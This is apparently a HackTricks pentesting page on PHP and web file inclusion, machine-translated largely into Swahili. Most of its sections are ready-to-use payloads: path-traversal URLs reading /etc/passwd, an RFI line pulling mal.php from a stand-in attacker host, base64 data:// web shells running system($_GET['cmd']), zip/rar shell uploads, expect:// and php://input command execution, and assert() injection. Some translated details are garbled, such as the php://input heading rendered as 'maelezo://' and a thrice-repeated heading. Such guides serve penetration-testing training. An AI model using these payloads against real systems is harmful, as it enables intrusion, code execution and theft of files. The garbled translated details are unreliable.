hacktricks/pentesting-web/file-inclusion/README.md

673 lines
36 KiB
Markdown
Raw Normal View History

# Kuingiza Faili/Ukuzaji wa Njia
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-01 17:15:10 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
</details>
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za mdudu!
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Machapisho ya Kudukua**\
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za kudukua
2023-02-27 09:28:45 +00:00
**Taarifa za Kudukua Halisi**\
Kaa up-to-date na ulimwengu wa kudukua unaobadilika haraka kupitia taarifa za habari za wakati halisi
2024-02-11 02:13:58 +00:00
**Matangazo ya Hivi Karibuni**\
Baki mwelekezi na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
2024-02-11 02:13:58 +00:00
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
## Kuingiza Faili
**Kuingiza Faili Kijijini (RFI):** Faili inapakiwa kutoka kwenye seva ya mbali (Bora: Unaweza kuandika nambari na seva itaitekeleza). Katika php hii **imelemazwa** kwa chaguo-msingi (**allow\_url\_include**).\
**Kuingiza Faili za Kitaifa (LFI):** Seva inapakia faili ya ndani.
Udhaifu unatokea wakati mtumiaji anaweza kudhibiti kwa njia fulani faili itakayopakiwa na seva.
**PHP functions** zenye udhaifu: require, require\_once, include, include\_once
Zana ya kuvumbua udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
2024-02-11 02:13:58 +00:00
## Kipofu - Kuvutia - Faili za LFI2RCE
2020-12-27 12:39:54 +00:00
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
2022-06-19 19:09:48 +00:00
### **Linux**
2024-02-11 02:13:58 +00:00
**Kwa kuchanganya orodha za LFI za \*nix na kuongeza njia zaidi, nimeunda hii:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
2021-06-27 21:56:13 +00:00
Jaribu pia kubadilisha `/` kwa `\`\
2024-02-11 02:13:58 +00:00
Jaribu pia kuongeza `../../../../../`
2021-06-27 20:19:16 +00:00
Orodha inayotumia njia kadhaa za kupata faili /etc/password (kutathmini ikiwa udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
2022-06-19 19:09:48 +00:00
### **Windows**
Unganisha wa orodha tofauti:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Jaribu pia kubadilisha `/` kwa `\`\
2024-02-11 02:13:58 +00:00
Jaribu pia kuondoa `C:/` na kuongeza `../../../../../`
Orodha inayotumia njia kadhaa za kupata faili /boot.ini (kutathmini ikiwa udhaifu upo) inaweza kupatikana [hapa](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
2022-06-19 19:09:48 +00:00
### **OS X**
2024-02-11 02:13:58 +00:00
Angalia orodha ya LFI ya linux.
## Basic LFI and bypasses
Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (ukurasa=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### mfuatano wa upitishaji uliondolewa kwa kutumia njia isiyo ya kurudia
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
2022-06-19 19:09:48 +00:00
### **Null byte (%00)**
Pita kwenye kuongeza herufi zaidi mwishoni mwa string iliyotolewa (kipita: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Hii ime **tatuliwa tangu PHP 5.4**
2024-02-11 02:13:58 +00:00
### **Ukodishaji**
Unaweza kutumia ukodishaji usio wa kawaida kama vile ukodishaji wa URL mara mbili (na mingine):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
2024-02-11 02:13:58 +00:00
### Kutoka kwenye folda iliyopo
Labda seva ya nyuma inachunguza njia ya folda:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Kuchunguza Miongozo ya Mfumo wa Faili kwenye Seva
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kina ili kutambua miongozo, siyo tu faili, kwa kutumia njia fulani. Mchakato huu unahusisha kujua kina cha miongozo na kuchunguza uwepo wa folda maalum. Hapa chini ni njia iliyoelezewa kufanikisha hili:
2022-12-03 18:45:54 +00:00
1. **Kutambua Kina cha Miongozo:** Hakikisha kina cha miongozo ya folda yako ya sasa kwa kupata faili ya `/etc/passwd` kwa mafanikio (inatumika ikiwa seva ni ya Linux). URL ya mfano inaweza kuwa imeundwa kama ifuatavyo, ikionyesha kina cha tatu:
2024-02-05 20:00:40 +00:00
```bash
2022-11-23 16:52:53 +00:00
http://example.com/index.php?page=../../../etc/passwd # depth of 3
2022-12-03 18:45:54 +00:00
```
2. **Chunguza Folda:** Ongeza jina la folda inayoshukiwa (k.m., `private`) kwenye URL, kisha endelea kurudi kwa `/etc/passwd`. Kiwango cha ziada cha folda kinahitaji kuongeza kina kwa moja:
2024-02-05 20:00:40 +00:00
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
2022-11-23 16:52:53 +00:00
```
3. **Tafsiri Matokeo:** Majibu ya seva yanathibitisha ikiwa folda ipo:
* **Kosa / Hakuna Matokeo:** Labda folda ya `private` haipo katika eneo lililotajwa.
* **Yaliyomo ya `/etc/passwd`:** Uwepo wa folda ya `private` umethibitishwa.
4. **Utafiti wa Kina:** Folders zilizogunduliwa zinaweza kuchunguzwa zaidi kwa subdirectories au faili kutumia mbinu ile ile au mbinu za kawaida za Ujumuishaji wa Faili za Kienyeji (LFI).
2024-02-05 20:00:40 +00:00
Kwa kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha mzigo kulingana. Kwa mfano, kuchunguza ikiwa `/var/www/` ina folda ya `private` (ukidhani kuwa folda ya sasa iko kwenye kina cha 3), tumia:
2024-02-05 20:00:40 +00:00
```bash
2022-11-23 16:52:53 +00:00
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
2024-02-11 02:13:58 +00:00
### **Mbinu ya Kukata Njia**
2022-11-23 16:52:53 +00:00
Kukata njia ni njia inayotumiwa kubadilisha njia za faili kwenye programu za wavuti. Mara nyingi hutumiwa kupata faili zilizozuiwa kwa kuzidi hatua fulani za usalama ambazo huongeza herufi ziada mwishoni mwa njia ya faili. Lengo ni kutengeneza njia ya faili ambayo, baada ya kubadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
2022-12-03 18:45:54 +00:00
Katika PHP, mifano mbalimbali ya njia ya faili inaweza kuchukuliwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
2022-11-23 16:52:53 +00:00
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, na `/etc/passwd/` zote hushughulikiwa kama njia ile ile.
* Wakati herufi 6 za mwisho ni `passwd`, kuongeza `/` (kufanya iwe `passwd/`) haitabadilishi faili inayolengwa.
* Vivyo hivyo, ikiwa `.php` inaongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadilisha faili inayopatikana.
Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kupata `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti ya mtumiaji):
```
2024-02-05 20:00:40 +00:00
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Katika mazingira haya, idadi ya uchunguzi inaweza kuwa karibu 2027, lakini idadi hii inaweza kutofautiana kulingana na usanidi wa seva.
* **Kutumia Vipande vya Dot na Wahusika Wengine**: Mfululizo wa uchunguzi (`../`) uliounganishwa na vipande vya dot ziada na wahusika unaweza kutumika kusafiri kwenye mfumo wa faili, kwa kufuta vitu vilivyoongezwa na seva.
* **Kutambua Idadi Inayohitajika ya Uchunguzi**: Kupitia jaribio na kosa, mtu anaweza kupata idadi sahihi ya mfululizo wa `../` unaohitajika kusafiri hadi kwenye saraka kuu na kisha kufikia `/etc/passwd`, kuhakikisha kuwa vitu vilivyoongezwa (kama vile `.php`) vinatupiliwa mbali lakini njia inayotakiwa (`/etc/passwd`) inabaki bila kuguswa.
* **Kuanza na Saraka Bandia**: Ni mazoea ya kawaida kuanza njia na saraka isiyopo (kama vile `a/`). Mbinu hii hutumiwa kama tahadhari au kufikia mahitaji ya mantiki ya uchambuzi wa njia wa seva.
2024-02-05 20:00:40 +00:00
Wakati wa kutumia mbinu za kukata njia, ni muhimu kuelewa tabia ya uchambuzi wa njia wa seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji njia tofauti, na mara nyingi majaribio ni muhimu kupata njia yenye ufanisi zaidi.
2024-02-11 02:13:58 +00:00
**Udhaifu huu ulisahihishwa katika PHP 5.3.**
### **Mbinu za Kupita Kichujio**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Kuingiza Faili Kijijini
Katika php hii imelemazwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Lazima iwe **On** ili ifanye kazi, na katika kesi hiyo unaweza kuingiza faili ya PHP kutoka kwenye seva yako na kupata RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inazuia upatikanaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia mfano wa itifaki ya data na base64 kudecode nambari ya PHP ya b64 na kupata RCE:
{% code overflow="wrap" %}
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
{% endcode %}
{% hint style="info" %}
Katika msimbo uliopita, `+.txt` ya mwisho iliwekwa kwa sababu muhusika alihitaji string ambayo ilimalizika kwa `.txt`, hivyo string inamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha takataka tu na msimbo halisi wa PHP utajumuishwa (na hivyo, kutekelezwa).
{% endhint %}
Mfano mwingine **usiotumia itifaki ya `php://`** ungekuwa:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
{% endcode %}
2024-02-11 02:13:58 +00:00
## Kipengele cha Mzizi cha Python
Katika python katika namna ya namna hii:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Ikiwa mtumiaji anapitisha njia ya **`file_name`** ya **kabisa**, **njia iliyopita inaondolewa tu**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Hii ni tabia iliyokusudiwa kulingana na [nyaraka] (https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Ikiwa sehemu ni njia kamili, sehemu zote za awali hutupwa na kuunganisha inaendelea kutoka kwa sehemu ya njia kamili.
## Orodha ya Dirs za Java
Inaonekana kama una Uvujaji wa Njia katika Java na **unauliza kwa saraka** badala ya faili, **orodha ya saraka inarudiwa**. Hii haitatokea katika lugha zingine (kwa kadri ninavyojua).
2024-02-11 02:13:58 +00:00
## Parameta 25 Bora
2020-07-29 09:22:22 +00:00
Hapa kuna orodha ya parameta 25 bora ambazo zinaweza kuwa hatarini kwa udhaifu wa kuingiza faili za ndani (LFI) (kutoka [kiungo] (https://twitter.com/trbughunters/status/1279768631845494787)):
```
2020-07-29 09:22:22 +00:00
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI kutumia PHP wrappers & itifaki
2022-06-19 19:09:48 +00:00
### php://filter
Vichujio vya PHP huruhusu kufanya **operesheni za msingi za marekebisho kwenye data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya vichujio:
* [Vichujio vya String](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Ondoa vitambulisho kutoka kwenye data (kila kitu kati ya herufi "<" na ">" )
* Tafadhali kumbuka kuwa chujio hiki kimeondolewa katika toleo za kisasa za PHP
* [Vichujio vya Ubadilishaji](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : Inabadilisha kwenye uendeshaji tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya uendeshaji wote** unaoungwa mkono, endesha kwenye konsoli: `iconv -l`
2022-06-20 07:40:16 +00:00
{% hint style="warning" %}
Kwa kutumia vichujio vya ubadilishaji vya `convert.iconv.*` unaweza **kuzalisha maandishi ya kupindukia**, ambayo yanaweza kuwa na manufaa kuandika maandishi ya kupindukia au kufanya kazi kama mchakato wa kujumuisha maandishi ya kupindukia. Kwa maelezo zaidi angalia [**LFI2RCE kupitia vichujio vya php**](lfi2rce-via-php-filters.md).
2022-06-20 07:40:16 +00:00
{% endhint %}
* [Vichujio vya Kukandamiza](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: Kukandamiza maudhui (yanayoweza kutumika kama kufichua habari nyingi)
* `zlib.inflate`: Kukandua data
* [Vichujio vya Kuficha](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*` : Imepitwa na wakati
* `mdecrypt.*` : Imepitwa na wakati
2024-02-11 02:13:58 +00:00
* Vichujio Vingine
* Ukikimbia `var_dump(stream_get_filters());` kwenye php unaweza kupata vichujio vichache **visivyotarajiwa**:
* `consumed`
* `dechunk`: inarudisha uendeshaji wa kificho cha HTTP chunked
* `convert.*`
2022-06-19 19:09:48 +00:00
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
2022-06-19 19:09:48 +00:00
```
{% hint style="warning" %}
Sehemu ya "php://filter" haizingatii herufi kubwa au ndogo
2022-06-19 19:09:48 +00:00
{% endhint %}
### Kutumia vichujio vya php kama oracle kusoma faili za kupita kiasi
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili za ndani bila kupata jibu kutoka kwa seva. Mbinu hii inategemea **kupeleleza faili (herufi kwa herufi) kwa kutumia vichujio vya php** kama oracle. Hii ni kwa sababu vichujio vya php vinaweza kutumika kufanya maandishi kuwa kubwa vya kutosha kusababisha php kutupa kosa.
Katika chapisho asili unaweza kupata maelezo ya kina ya mbinu hii, lakini hapa kuna muhtasari wa haraka:
* Tumia codec **`UCS-4LE`** kuacha herufi ya kiongozi ya maandishi mwanzoni na kufanya ukubwa wa herufi kuongezeka kwa kasi.
* Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya kwanza inatabiriwa kwa usahihi** ambayo php itasababisha **kosa**
* Kichujio cha **dechunk** kitafuta **kila kitu ikiwa herufi ya kwanza sio hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
* Hii, ikichanganywa na ile ya awali (na vichujio vingine vinavyotegemea herufi iliyotabiriwa), itaturuhusu kutabiri herufi mwanzoni mwa maandishi kwa kuona tunafanya mabadiliko ya kutosha kufanya isiwe tena herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaifuta na bomu la awali litasababisha kosa la php.
* Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaruhusu kutambua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tunatumia codec hii mara 6 a->b->c->d->e->f->g herufi hiyo haiko tena kama herufi ya hexadecimal, kwa hivyo dechunk haitaifuta na kosa la php litasababishwa kwa sababu inazidiana na bomu la awali.
* Kwa kutumia mabadiliko mengine kama **rot13** mwanzoni, ni rahisi kufichua herufi nyingine kama n, o, p, q, r (na vichujio vingine vinaweza kutumika kusogeza herufi nyingine kwenye safu ya hex).
* Ikiwa herufi ya kwanza ni nambari, ni lazima iwekwe kwenye msimbo wa base64 na kufichua herufi 2 za kwanza kufichua nambari hiyo.
* Tatizo la mwisho ni kuona **jinsi ya kufichua zaidi ya herufi ya kwanza**. Kwa kutumia vichujio vya kumbukumbu kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ni rahisi kubadilisha mpangilio wa herufi na kupata herufi nyingine za maandishi kwenye nafasi ya kwanza.
* Na ili kuweza kupata **data zaidi**, wazo ni **kuzalisha baiti 2 za data taka mwanzoni** na **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** kuifanya **ipige na baiti 2 inayofuata**, na **futa data hadi data taka** (hii itaondoa baiti 2 za kwanza za maandishi ya awali). Endelea kufanya hivi hadi ufikie biti unayotaka kufichua.
Katika chapisho, zana ya kufanya hivi kiotomatiki pia ilifichuliwa: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
2022-06-19 19:09:48 +00:00
### php://fd
Kifuniko hiki kuruhusu kupata nambari za faili ambazo mchakato una wazi. Inaweza kuwa na manufaa kufichua maudhui ya faili zilizofunguliwa:
2022-06-19 19:09:48 +00:00
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **file descriptors 0, 1 na 2** mtawalia (sijui jinsi hii inaweza kuwa na manufaa katika shambulizi)
2024-02-11 02:13:58 +00:00
### zip:// na rar://
Pakia faili ya Zip au Rar yenye PHPShell ndani yake na ufikie.\
Ili uweze kutumia vibaya itifaki ya rar inahitaji **kuwezeshwa kwa kusudi maalum**.
```bash
2024-02-11 02:13:58 +00:00
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
2022-06-19 19:09:48 +00:00
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
2022-06-19 19:09:48 +00:00
### data://
### data://
2024-02-11 02:13:58 +00:00
### data://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
2020-12-27 12:55:25 +00:00
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
2022-06-13 10:17:45 +00:00
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Tafadhali elewa kuwa itifaki hii imezuiliwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
2021-05-04 22:57:00 +00:00
2022-06-19 19:09:48 +00:00
### expect://
Matarajio lazima yawe yameamilishwa. Unaweza kutekeleza nambari kutumia hii:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### maelezo://
2024-02-11 02:13:58 +00:00
Taja mzigo wako kwenye vigezo vya POST:
2024-02-05 20:00:40 +00:00
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
2022-06-19 19:09:48 +00:00
### phar://
Faili ya `.phar` inaweza kutumika kutekeleza nambari ya PHP wakati programu ya wavuti inatumia kazi kama vile `include` kwa kupakia faili. Nambari ya PHP iliyoonyeshwa hapa chini inaonyesha uumbaji wa faili ya `.phar`:
2024-02-05 20:00:40 +00:00
```php
2021-03-19 23:08:07 +00:00
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Ili kutekeleza faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
2021-03-19 23:08:07 +00:00
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
2021-03-19 23:08:07 +00:00
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
2024-02-05 20:00:40 +00:00
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
2021-03-19 23:11:18 +00:00
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
{% endcontent-ref %}
2021-03-19 23:11:18 +00:00
### More protocols
2021-05-04 22:57:00 +00:00
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
2021-05-04 22:57:00 +00:00
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika kumbukumbu kwa kumbukumbu au kwenye faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URL za HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URL za FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mtiririko wa Ufupishaji
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi kitu kinachoweza kuchapishwa, hivyo sio kweli inayoweza kutumika hapa)
2024-02-11 02:13:58 +00:00
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Shell Salama 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mtiririko wa sauti (Haitumiki kusoma faili za aina yoyote)
2022-06-19 19:09:48 +00:00
2024-02-11 02:13:58 +00:00
## LFI kupitia 'assert' ya PHP
Hatari za Uingizaji wa Faili za Ndani (LFI) katika PHP ni kubwa hasa unaposhughulika na kazi ya 'assert', ambayo inaweza kutekeleza nambari ndani ya herufi. Hii ni tatizo hasa ikiwa data inayoingia ina herufi za utafutaji wa saraka kama vile ".." inakaguliwa lakini haijasafishwa ipasavyo.
Kwa mfano, nambari ya PHP inaweza kuundwa ili kuzuia utafutaji wa saraka kama ifuatavyo:
2024-02-05 20:00:40 +00:00
```bash
assert("strpos('$file', '..') === false") or die("");
```
Huku lengo likiwa kuzuia upitishaji, kwa bahati mbaya hii inaunda njia ya kuingiza nambari. Kwa kudukua hii ili kusoma maudhui ya faili, mshambuliaji anaweza kutumia:
2024-02-05 20:00:40 +00:00
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Vivyo hivyo, kwa kutekeleza amri za mfumo za kupita kiasi, mtu anaweza kutumia:
2024-02-05 20:00:40 +00:00
```plaintext
' and die(system("id")) or '
```
Ni muhimu kufanya **payloads hizi kuwa URL-encoded**.
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kushirikiana na wadukuzi wenye uzoefu na wawindaji wa zawadi za makosa!
2022-10-27 14:46:56 +00:00
2024-02-11 02:13:58 +00:00
**Machapisho ya Udukuzi**\
Shiriki na yaliyomo yanayochimba kina cha udukuzi na changamoto zake
2023-02-27 09:28:45 +00:00
**Taarifa za Udukuzi za Muda Halisi**\
Kaa sasa na ulimwengu wa udukuzi wenye kasi kupitia taarifa na ufahamu wa muda halisi
2023-02-27 09:28:45 +00:00
**Matangazo ya Karibuni**\
Baki mwelewa na zawadi mpya za makosa zinazoanzishwa na sasisho muhimu za jukwaa
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
2022-10-27 14:46:56 +00:00
## Udukuzi wa Njia ya Kipofu ya PHP
2023-03-23 12:48:36 +00:00
2023-03-23 12:54:51 +00:00
{% hint style="warning" %}
Mbinu hii inahusiana katika kesi ambapo **unadhibiti** **njia ya faili** ya **kazi ya PHP** ambayo ita **fikia faili** lakini hautaona maudhui ya faili (kama wito wa **`file()`** tu) lakini maudhui hayo hayataonyeshwa.
2023-03-23 12:54:51 +00:00
{% endhint %}
Katika [**chapisho hili la kushangaza**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) imeelezwa jinsi udukuzi wa njia ya kipofu unavyoweza kutumiwa kupitia kichujio cha PHP kwa **kuchota maudhui ya faili kupitia kosa la oracle**.
2023-03-23 12:48:36 +00:00
Kwa muhtasari, mbinu hii inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** hivyo kazi ya PHP ya kufungua faili itasababisha **kosa**.
2023-03-23 12:48:36 +00:00
